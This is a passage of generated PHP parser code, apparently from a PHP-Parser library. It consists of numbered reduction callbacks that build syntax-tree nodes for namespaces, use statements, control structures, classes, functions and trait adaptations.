$this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 87 => function ($stackPos) { $this->semValue = new Node\Identifier($this->semStack[$stackPos-(1-1)], $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 88 => function ($stackPos) { $this->semValue = new Name($this->semStack[$stackPos-(1-1)], $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 89 => function ($stackPos) { $this->semValue = new Name($this->semStack[$stackPos-(1-1)], $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 90 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 91 => function ($stackPos) { $this->semValue = new Name(substr($this->semStack[$stackPos-(1-1)], 1), $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 92 => function ($stackPos) { $this->semValue = new Expr\Variable(substr($this->semStack[$stackPos-(1-1)], 1), $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 93 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 94 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 95 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 96 => function ($stackPos) { $this->semValue = new Stmt\HaltCompiler($this->lexer->handleHaltCompiler(), $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 97 => function ($stackPos) { $this->semValue = new Stmt\Namespace_($this->semStack[$stackPos-(3-2)], null, $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); $this->semValue->setAttribute('kind', Stmt\Namespace_::KIND_SEMICOLON); $this->checkNamespace($this->semValue); }, 98 => function ($stackPos) { $this->semValue = new Stmt\Namespace_($this->semStack[$stackPos-(5-2)], $this->semStack[$stackPos-(5-4)], $this->startAttributeStack[$stackPos-(5-1)] + $this->endAttributes); $this->semValue->setAttribute('kind', Stmt\Namespace_::KIND_BRACED); $this->checkNamespace($this->semValue); }, 99 => function ($stackPos) { $this->semValue = new Stmt\Namespace_(null, $this->semStack[$stackPos-(4-3)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); $this->semValue->setAttribute('kind', Stmt\Namespace_::KIND_BRACED); $this->checkNamespace($this->semValue); }, 100 => function ($stackPos) { $this->semValue = new Stmt\Use_($this->semStack[$stackPos-(3-2)], Stmt\Use_::TYPE_NORMAL, $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 101 => function ($stackPos) { $this->semValue = new Stmt\Use_($this->semStack[$stackPos-(4-3)], $this->semStack[$stackPos-(4-2)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 102 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(2-1)]; }, 103 => function ($stackPos) { $this->semValue = new Stmt\Const_($this->semStack[$stackPos-(3-2)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 104 => function ($stackPos) { $this->semValue = Stmt\Use_::TYPE_FUNCTION; }, 105 => function ($stackPos) { $this->semValue = Stmt\Use_::TYPE_CONSTANT; }, 106 => function ($stackPos) { $this->semValue = new Stmt\GroupUse($this->semStack[$stackPos-(7-3)], $this->semStack[$stackPos-(7-6)], $this->semStack[$stackPos-(7-2)], $this->startAttributeStack[$stackPos-(7-1)] + $this->endAttributes); }, 107 => function ($stackPos) { $this->semValue = new Stmt\GroupUse($this->semStack[$stackPos-(6-2)], $this->semStack[$stackPos-(6-5)], Stmt\Use_::TYPE_UNKNOWN, $this->startAttributeStack[$stackPos-(6-1)] + $this->endAttributes); }, 108 => function ($stackPos) { $this->semStack[$stackPos-(3-1)][] = $this->semStack[$stackPos-(3-3)]; $this->semValue = $this->semStack[$stackPos-(3-1)]; }, 109 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(1-1)]); }, 110 => function ($stackPos) { $this->semStack[$stackPos-(3-1)][] = $this->semStack[$stackPos-(3-3)]; $this->semValue = $this->semStack[$stackPos-(3-1)]; }, 111 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(1-1)]); }, 112 => function ($stackPos) { $this->semStack[$stackPos-(3-1)][] = $this->semStack[$stackPos-(3-3)]; $this->semValue = $this->semStack[$stackPos-(3-1)]; }, 113 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(1-1)]); }, 114 => function ($stackPos) { $this->semValue = new Stmt\UseUse($this->semStack[$stackPos-(1-1)], null, Stmt\Use_::TYPE_UNKNOWN, $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); $this->checkUseUse($this->semValue, $stackPos-(1-1)); }, 115 => function ($stackPos) { $this->semValue = new Stmt\UseUse($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], Stmt\Use_::TYPE_UNKNOWN, $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); $this->checkUseUse($this->semValue, $stackPos-(3-3)); }, 116 => function ($stackPos) { $this->semValue = new Stmt\UseUse($this->semStack[$stackPos-(1-1)], null, Stmt\Use_::TYPE_UNKNOWN, $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); $this->checkUseUse($this->semValue, $stackPos-(1-1)); }, 117 => function ($stackPos) { $this->semValue = new Stmt\UseUse($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], Stmt\Use_::TYPE_UNKNOWN, $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); $this->checkUseUse($this->semValue, $stackPos-(3-3)); }, 118 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; $this->semValue->type = Stmt\Use_::TYPE_NORMAL; }, 119 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(2-2)]; $this->semValue->type = $this->semStack[$stackPos-(2-1)]; }, 120 => function ($stackPos) { $this->semStack[$stackPos-(3-1)][] = $this->semStack[$stackPos-(3-3)]; $this->semValue = $this->semStack[$stackPos-(3-1)]; }, 121 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(1-1)]); }, 122 => function ($stackPos) { $this->semValue = new Node\Const_($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 123 => function ($stackPos) { $this->semStack[$stackPos-(3-1)][] = $this->semStack[$stackPos-(3-3)]; $this->semValue = $this->semStack[$stackPos-(3-1)]; }, 124 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(1-1)]); }, 125 => function ($stackPos) { $this->semValue = new Node\Const_($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 126 => function ($stackPos) { if (is_array($this->semStack[$stackPos-(2-2)])) { $this->semValue = array_merge($this->semStack[$stackPos-(2-1)], $this->semStack[$stackPos-(2-2)]); } else { $this->semStack[$stackPos-(2-1)][] = $this->semStack[$stackPos-(2-2)]; $this->semValue = $this->semStack[$stackPos-(2-1)]; }; }, 127 => function ($stackPos) { $this->semValue = array(); }, 128 => function ($stackPos) { $startAttributes = $this->lookaheadStartAttributes; if (isset($startAttributes['comments'])) { $nop = new Stmt\Nop($this->createCommentNopAttributes($startAttributes['comments'])); } else { $nop = null; }; if ($nop !== null) { $this->semStack[$stackPos-(1-1)][] = $nop; } $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 129 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 130 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 131 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 132 => function ($stackPos) { throw new Error('__HALT_COMPILER() can only be used from the outermost scope', $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 133 => function ($stackPos) { if ($this->semStack[$stackPos-(3-2)]) { $this->semValue = $this->semStack[$stackPos-(3-2)]; $attrs = $this->startAttributeStack[$stackPos-(3-1)]; $stmts = $this->semValue; if (!empty($attrs['comments'])) {$stmts[0]->setAttribute('comments', array_merge($attrs['comments'], $stmts[0]->getAttribute('comments', []))); }; } else { $startAttributes = $this->startAttributeStack[$stackPos-(3-1)]; if (isset($startAttributes['comments'])) { $this->semValue = new Stmt\Nop($startAttributes + $this->endAttributes); } else { $this->semValue = null; }; if (null === $this->semValue) { $this->semValue = array(); } } }, 134 => function ($stackPos) { $this->semValue = new Stmt\If_($this->semStack[$stackPos-(5-2)], ['stmts' => is_array($this->semStack[$stackPos-(5-3)]) ? $this->semStack[$stackPos-(5-3)] : array($this->semStack[$stackPos-(5-3)]), 'elseifs' => $this->semStack[$stackPos-(5-4)], 'else' => $this->semStack[$stackPos-(5-5)]], $this->startAttributeStack[$stackPos-(5-1)] + $this->endAttributes); }, 135 => function ($stackPos) { $this->semValue = new Stmt\If_($this->semStack[$stackPos-(8-2)], ['stmts' => $this->semStack[$stackPos-(8-4)], 'elseifs' => $this->semStack[$stackPos-(8-5)], 'else' => $this->semStack[$stackPos-(8-6)]], $this->startAttributeStack[$stackPos-(8-1)] + $this->endAttributes); }, 136 => function ($stackPos) { $this->semValue = new Stmt\While_($this->semStack[$stackPos-(3-2)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 137 => function ($stackPos) { $this->semValue = new Stmt\Do_($this->semStack[$stackPos-(5-4)], is_array($this->semStack[$stackPos-(5-2)]) ? $this->semStack[$stackPos-(5-2)] : array($this->semStack[$stackPos-(5-2)]), $this->startAttributeStack[$stackPos-(5-1)] + $this->endAttributes); }, 138 => function ($stackPos) { $this->semValue = new Stmt\For_(['init' => $this->semStack[$stackPos-(9-3)], 'cond' => $this->semStack[$stackPos-(9-5)], 'loop' => $this->semStack[$stackPos-(9-7)], 'stmts' => $this->semStack[$stackPos-(9-9)]], $this->startAttributeStack[$stackPos-(9-1)] + $this->endAttributes); }, 139 => function ($stackPos) { $this->semValue = new Stmt\Switch_($this->semStack[$stackPos-(3-2)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 140 => function ($stackPos) { $this->semValue = new Stmt\Break_(null, $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 141 => function ($stackPos) { $this->semValue = new Stmt\Break_($this->semStack[$stackPos-(3-2)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 142 => function ($stackPos) { $this->semValue = new Stmt\Continue_(null, $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 143 => function ($stackPos) { $this->semValue = new Stmt\Continue_($this->semStack[$stackPos-(3-2)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 144 => function ($stackPos) { $this->semValue = new Stmt\Return_(null, $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 145 => function ($stackPos) { $this->semValue = new Stmt\Return_($this->semStack[$stackPos-(3-2)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 146 => function ($stackPos) { $this->semValue = new Stmt\Global_($this->semStack[$stackPos-(3-2)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 147 => function ($stackPos) { $this->semValue = new Stmt\Static_($this->semStack[$stackPos-(3-2)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 148 => function ($stackPos) { $this->semValue = new Stmt\Echo_($this->semStack[$stackPos-(3-2)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 149 => function ($stackPos) { $this->semValue = new Stmt\InlineHTML($this->semStack[$stackPos-(1-1)], $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 150 => function ($stackPos) { $this->semValue = new Stmt\Expression($this->semStack[$stackPos-(2-1)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 151 => function ($stackPos) { $this->semValue = new Stmt\Expression($this->semStack[$stackPos-(2-1)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 152 => function ($stackPos) { $this->semValue = new Stmt\Unset_($this->semStack[$stackPos-(5-3)], $this->startAttributeStack[$stackPos-(5-1)] + $this->endAttributes); }, 153 => function ($stackPos) { $this->semValue = new Stmt\Foreach_($this->semStack[$stackPos-(7-3)], $this->semStack[$stackPos-(7-5)][0], ['keyVar' => null, 'byRef' => $this->semStack[$stackPos-(7-5)][1], 'stmts' => $this->semStack[$stackPos-(7-7)]], $this->startAttributeStack[$stackPos-(7-1)] + $this->endAttributes); }, 154 => function ($stackPos) { $this->semValue = new Stmt\Foreach_($this->semStack[$stackPos-(9-3)], $this->semStack[$stackPos-(9-7)][0], ['keyVar' => $this->semStack[$stackPos-(9-5)], 'byRef' => $this->semStack[$stackPos-(9-7)][1], 'stmts' => $this->semStack[$stackPos-(9-9)]], $this->startAttributeStack[$stackPos-(9-1)] + $this->endAttributes); }, 155 => function ($stackPos) { $this->semValue = new Stmt\Declare_($this->semStack[$stackPos-(5-3)], $this->semStack[$stackPos-(5-5)], $this->startAttributeStack[$stackPos-(5-1)] + $this->endAttributes); }, 156 => function ($stackPos) { $this->semValue = new Stmt\TryCatch($this->semStack[$stackPos-(6-3)], $this->semStack[$stackPos-(6-5)], $this->semStack[$stackPos-(6-6)], $this->startAttributeStack[$stackPos-(6-1)] + $this->endAttributes); $this->checkTryCatch($this->semValue); }, 157 => function ($stackPos) { $this->semValue = new Stmt\Throw_($this->semStack[$stackPos-(3-2)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 158 => function ($stackPos) { $this->semValue = new Stmt\Goto_($this->semStack[$stackPos-(3-2)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 159 => function ($stackPos) { $this->semValue = new Stmt\Label($this->semStack[$stackPos-(2-1)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 160 => function ($stackPos) { $this->semValue = new Stmt\Expression($this->semStack[$stackPos-(2-1)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 161 => function ($stackPos) { $this->semValue = array(); /* means: no statement */ }, 162 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 163 => function ($stackPos) { $startAttributes = $this->startAttributeStack[$stackPos-(1-1)]; if (isset($startAttributes['comments'])) { $this->semValue = new Stmt\Nop($startAttributes + $this->endAttributes); } else { $this->semValue = null; }; if ($this->semValue === null) $this->semValue = array(); /* means: no statement */ }, 164 => function ($stackPos) { $this->semValue = array(); }, 165 => function ($stackPos) { $this->semStack[$stackPos-(2-1)][] = $this->semStack[$stackPos-(2-2)]; $this->semValue = $this->semStack[$stackPos-(2-1)]; }, 166 => function ($stackPos) { $this->semValue = new Stmt\Catch_(array($this->semStack[$stackPos-(8-3)]), $this->semStack[$stackPos-(8-4)], $this->semStack[$stackPos-(8-7)], $this->startAttributeStack[$stackPos-(8-1)] + $this->endAttributes); }, 167 => function ($stackPos) { $this->semValue = null; }, 168 => function ($stackPos) { $this->semValue = new Stmt\Finally_($this->semStack[$stackPos-(4-3)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 169 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(1-1)]); }, 170 => function ($stackPos) { $this->semStack[$stackPos-(3-1)][] = $this->semStack[$stackPos-(3-3)]; $this->semValue = $this->semStack[$stackPos-(3-1)]; }, 171 => function ($stackPos) { $this->semValue = false; }, 172 => function ($stackPos) { $this->semValue = true; }, 173 => function ($stackPos) { $this->semValue = false; }, 174 => function ($stackPos) { $this->semValue = true; }, 175 => function ($stackPos) { $this->semValue = false; }, 176 => function ($stackPos) { $this->semValue = true; }, 177 => function ($stackPos) { $this->semValue = new Stmt\Function_($this->semStack[$stackPos-(10-3)], ['byRef' => $this->semStack[$stackPos-(10-2)], 'params' => $this->semStack[$stackPos-(10-5)], 'returnType' => $this->semStack[$stackPos-(10-7)], 'stmts' => $this->semStack[$stackPos-(10-9)]], $this->startAttributeStack[$stackPos-(10-1)] + $this->endAttributes); }, 178 => function ($stackPos) { $this->semValue = new Stmt\Class_($this->semStack[$stackPos-(7-2)], ['type' => $this->semStack[$stackPos-(7-1)], 'extends' => $this->semStack[$stackPos-(7-3)], 'implements' => $this->semStack[$stackPos-(7-4)], 'stmts' => $this->semStack[$stackPos-(7-6)]], $this->startAttributeStack[$stackPos-(7-1)] + $this->endAttributes); $this->checkClass($this->semValue, $stackPos-(7-2)); }, 179 => function ($stackPos) { $this->semValue = new Stmt\Interface_($this->semStack[$stackPos-(6-2)], ['extends' => $this->semStack[$stackPos-(6-3)], 'stmts' => $this->semStack[$stackPos-(6-5)]], $this->startAttributeStack[$stackPos-(6-1)] + $this->endAttributes); $this->checkInterface($this->semValue, $stackPos-(6-2)); }, 180 => function ($stackPos) { $this->semValue = new Stmt\Trait_($this->semStack[$stackPos-(5-2)], ['stmts' => $this->semStack[$stackPos-(5-4)]], $this->startAttributeStack[$stackPos-(5-1)] + $this->endAttributes); }, 181 => function ($stackPos) { $this->semValue = 0; }, 182 => function ($stackPos) { $this->semValue = Stmt\Class_::MODIFIER_ABSTRACT; }, 183 => function ($stackPos) { $this->semValue = Stmt\Class_::MODIFIER_FINAL; }, 184 => function ($stackPos) { $this->semValue = null; }, 185 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(2-2)]; }, 186 => function ($stackPos) { $this->semValue = array(); }, 187 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(2-2)]; }, 188 => function ($stackPos) { $this->semValue = array(); }, 189 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(2-2)]; }, 190 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(1-1)]); }, 191 => function ($stackPos) { $this->semStack[$stackPos-(3-1)][] = $this->semStack[$stackPos-(3-3)]; $this->semValue = $this->semStack[$stackPos-(3-1)]; }, 192 => function ($stackPos) { $this->semValue = is_array($this->semStack[$stackPos-(1-1)]) ? $this->semStack[$stackPos-(1-1)] : array($this->semStack[$stackPos-(1-1)]); }, 193 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(4-2)]; }, 194 => function ($stackPos) { $this->semValue = is_array($this->semStack[$stackPos-(1-1)]) ? $this->semStack[$stackPos-(1-1)] : array($this->semStack[$stackPos-(1-1)]); }, 195 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(4-2)]; }, 196 => function ($stackPos) { $this->semValue = is_array($this->semStack[$stackPos-(1-1)]) ? $this->semStack[$stackPos-(1-1)] : array($this->semStack[$stackPos-(1-1)]); }, 197 => function ($stackPos) { $this->semValue = null; }, 198 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(4-2)]; }, 199 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(1-1)]); }, 200 => function ($stackPos) { $this->semStack[$stackPos-(3-1)][] = $this->semStack[$stackPos-(3-3)]; $this->semValue = $this->semStack[$stackPos-(3-1)]; }, 201 => function ($stackPos) { $this->semValue = new Stmt\DeclareDeclare($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 202 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(3-2)]; }, 203 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(4-3)]; }, 204 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(4-2)]; }, 205 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(5-3)]; }, 206 => function ($stackPos) { $this->semValue = array(); }, 207 => function ($stackPos) { $this->semStack[$stackPos-(2-1)][] = $this->semStack[$stackPos-(2-2)]; $this->semValue = $this->semStack[$stackPos-(2-1)]; }, 208 => function ($stackPos) { $this->semValue = new Stmt\Case_($this->semStack[$stackPos-(4-2)], $this->semStack[$stackPos-(4-4)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 209 => function ($stackPos) { $this->semValue = new Stmt\Case_(null, $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 210 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 211 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 212 => function ($stackPos) { $this->semValue = is_array($this->semStack[$stackPos-(1-1)]) ? $this->semStack[$stackPos-(1-1)] : array($this->semStack[$stackPos-(1-1)]); }, 213 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(4-2)]; }, 214 => function ($stackPos) { $this->semValue = array(); }, 215 => function ($stackPos) { $this->semStack[$stackPos-(2-1)][] = $this->semStack[$stackPos-(2-2)]; $this->semValue = $this->semStack[$stackPos-(2-1)]; }, 216 => function ($stackPos) { $this->semValue = new Stmt\ElseIf_($this->semStack[$stackPos-(3-2)], is_array($this->semStack[$stackPos-(3-3)]) ? $this->semStack[$stackPos-(3-3)] : array($this->semStack[$stackPos-(3-3)]), $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 217 => function ($stackPos) { $this->semValue = array(); }, 218 => function ($stackPos) { $this->semStack[$stackPos-(2-1)][] = $this->semStack[$stackPos-(2-2)]; $this->semValue = $this->semStack[$stackPos-(2-1)]; }, 219 => function ($stackPos) { $this->semValue = new Stmt\ElseIf_($this->semStack[$stackPos-(4-2)], $this->semStack[$stackPos-(4-4)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 220 => function ($stackPos) { $this->semValue = null; }, 221 => function ($stackPos) { $this->semValue = new Stmt\Else_(is_array($this->semStack[$stackPos-(2-2)]) ? $this->semStack[$stackPos-(2-2)] : array($this->semStack[$stackPos-(2-2)]), $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 222 => function ($stackPos) { $this->semValue = null; }, 223 => function ($stackPos) { $this->semValue = new Stmt\Else_($this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 224 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(1-1)], false); }, 225 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(2-2)], true); }, 226 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(1-1)], false); }, 227 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 228 => function ($stackPos) { $this->semValue = array(); }, 229 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(1-1)]); }, 230 => function ($stackPos) { $this->semStack[$stackPos-(3-1)][] = $this->semStack[$stackPos-(3-3)]; $this->semValue = $this->semStack[$stackPos-(3-1)]; }, 231 => function ($stackPos) { $this->semValue = new Node\Param($this->semStack[$stackPos-(4-4)], null, $this->semStack[$stackPos-(4-1)], $this->semStack[$stackPos-(4-2)], $this->semStack[$stackPos-(4-3)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); $this->checkParam($this->semValue); }, 232 => function ($stackPos) { $this->semValue = new Node\Param($this->semStack[$stackPos-(6-4)], $this->semStack[$stackPos-(6-6)], $this->semStack[$stackPos-(6-1)], $this->semStack[$stackPos-(6-2)], $this->semStack[$stackPos-(6-3)], $this->startAttributeStack[$stackPos-(6-1)] + $this->endAttributes); $this->checkParam($this->semValue); }, 233 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 234 => function ($stackPos) { $this->semValue = new Node\Identifier('array', $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 235 => function ($stackPos) { $this->semValue = new Node\Identifier('callable', $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 236 => function ($stackPos) { $this->semValue = null; }, 237 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 238 => function ($stackPos) { $this->semValue = null; }, 239 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(2-2)]; }, 240 => function ($stackPos) { $this->semValue = array(); }, 241 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(3-2)]; }, 242 => function ($stackPos) { $this->semValue = array(new Node\Arg($this->semStack[$stackPos-(3-2)], false, false, $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes)); }, 243 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(1-1)]); }, 244 => function ($stackPos) { $this->semStack[$stackPos-(3-1)][] = $this->semStack[$stackPos-(3-3)]; $this->semValue = $this->semStack[$stackPos-(3-1)]; }, 245 => function ($stackPos) { $this->semValue = new Node\Arg($this->semStack[$stackPos-(1-1)], false, false, $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 246 => function ($stackPos) { $this->semValue = new Node\Arg($this->semStack[$stackPos-(2-2)], true, false, $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 247 => function ($stackPos) { $this->semValue = new Node\Arg($this->semStack[$stackPos-(2-2)], false, true, $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 248 => function ($stackPos) { $this->semStack[$stackPos-(3-1)][] = $this->semStack[$stackPos-(3-3)]; $this->semValue = $this->semStack[$stackPos-(3-1)]; }, 249 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(1-1)]); }, 250 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 251 => function ($stackPos) { $this->semValue = new Expr\Variable($this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 252 => function ($stackPos) { $this->semValue = new Expr\Variable($this->semStack[$stackPos-(4-3)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 253 => function ($stackPos) { $this->semStack[$stackPos-(3-1)][] = $this->semStack[$stackPos-(3-3)]; $this->semValue = $this->semStack[$stackPos-(3-1)]; }, 254 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(1-1)]); }, 255 => function ($stackPos) { $this->semValue = new Stmt\StaticVar($this->semStack[$stackPos-(1-1)], null, $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 256 => function ($stackPos) { $this->semValue = new Stmt\StaticVar($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 257 => function ($stackPos) { if ($this->semStack[$stackPos-(2-2)] !== null) { $this->semStack[$stackPos-(2-1)][] = $this->semStack[$stackPos-(2-2)]; $this->semValue = $this->semStack[$stackPos-(2-1)]; } }, 258 => function ($stackPos) { $this->semValue = array(); }, 259 => function ($stackPos) { $startAttributes = $this->lookaheadStartAttributes; if (isset($startAttributes['comments'])) { $nop = new Stmt\Nop($this->createCommentNopAttributes($startAttributes['comments'])); } else { $nop = null; }; if ($nop !== null) { $this->semStack[$stackPos-(1-1)][] = $nop; } $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 260 => function ($stackPos) { $this->semValue = new Stmt\Property($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-2)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); $this->checkProperty($this->semValue, $stackPos-(3-1)); }, 261 => function ($stackPos) { $this->semValue = new Stmt\ClassConst($this->semStack[$stackPos-(3-2)], 0, $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 262 => function ($stackPos) { $this->semValue = new Stmt\ClassMethod($this->semStack[$stackPos-(9-4)], ['type' => $this->semStack[$stackPos-(9-1)], 'byRef' => $this->semStack[$stackPos-(9-3)], 'params' => $this->semStack[$stackPos-(9-6)], 'returnType' => $this->semStack[$stackPos-(9-8)], 'stmts' => $this->semStack[$stackPos-(9-9)]], $this->startAttributeStack[$stackPos-(9-1)] + $this->endAttributes); $this->checkClassMethod($this->semValue, $stackPos-(9-1)); }, 263 => function ($stackPos) { $this->semValue = new Stmt\TraitUse($this->semStack[$stackPos-(3-2)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 264 => function ($stackPos) { $this->semValue = array(); }, 265 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(3-2)]; }, 266 => function ($stackPos) { $this->semValue = array(); }, 267 => function ($stackPos) { $this->semStack[$stackPos-(2-1)][] = $this->semStack[$stackPos-(2-2)]; $this->semValue = $this->semStack[$stackPos-(2-1)]; }, 268 => function ($stackPos) { $this->semValue = new Stmt\TraitUseAdaptation\Precedence($this->semStack[$stackPos-(4-1)][0], $this->semStack[$stackPos-(4-1)][1], $this->semStack[$stackPos-(4-3)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 269 => function ($stackPos) { $this->semValue = new Stmt\TraitUseAdaptation\Alias($this->semStack[$stackPos-(5-1)][0], $this->semStack[$stackPos-(5-1)][1], $this->semStack[$stackPos-(5-3)], $this->semStack[$stackPos-(5-4)], $this->startAttributeStack[$stackPos-(5-1)] + $this->endAttributes); }, 270 => function ($stackPos) { $this->semValue = new Stmt\TraitUseAdaptation\Alias($this->semStack[$stackPos-(4-1)][0], $this->semStack[$stackPos-(4-1)][1], $this->semStack[$stackPos-(4-3)], null, $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 271 => function ($stackPos) { $this->semValue = new Stmt\TraitUseAdaptation\Alias($this->semStack[$stackPos-(4-1)][0], $this->semStack[$stackPos-(4-1)][1], null, $this->semStack[$stackPos-(4-3)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 272 => function ($stackPos) { $this->semValue = new Stmt\TraitUseAdaptation\Alias($this->semStack[$stackPos-(4-1)][0], $this->semStack[$stackPos-(4-1)][1], null, $this->semStack[$stackPos-(4-3)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 273 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)]); }, 274 => function 